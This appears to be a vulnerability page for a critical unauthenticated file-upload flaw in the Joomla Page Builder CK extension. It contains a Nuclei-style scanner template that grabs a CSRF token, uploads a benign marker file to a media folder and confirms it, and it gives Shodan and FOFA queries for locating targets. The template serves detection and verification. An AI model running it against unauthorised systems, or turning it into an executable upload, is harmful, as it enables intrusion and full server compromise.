CVE-2026-56290: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload

2026-07-31 Page Builder CK PoC Public

Description

Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.

PoC

id: CVE-2026-56290

info:
  name: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload
  author: panchiko-p,0x_Akoko
  severity: critical
  description: |
   Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.
  impact: |
   Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.
  remediation: |
   Update to the latest version of Page Builder CK.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56290
    - https://cxsecurity.com/issue/WLB-2026070010
    - https://www.exploit-db.com/exploits/52626
    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56290
    epss-score: 0.30375
    epss-percentile: 0.98136
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: joomlack
    product: page_builder_ck
    framework: joomla
    shodan-query: http.html:"com_pagebuilderck"
    fofa-query: body="com_pagebuilderck"
  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev

variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "csrf")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'
          - 'csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="path"

        media/com_pagebuilderck/gfonts/
        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56290-{{marker}}
        ------WebKitFormBoundaryPBCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56290-{{marker}}")'
        condition: and
# digest: 4b0a00483046022100d862164930b44d67f78627d53ed358964475ed467911e2a9658d80f21ccac300022100dca969d1e55140388f6b639dee38b14d3b639a13ae4c34dfe853b2bba2ec4cc0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities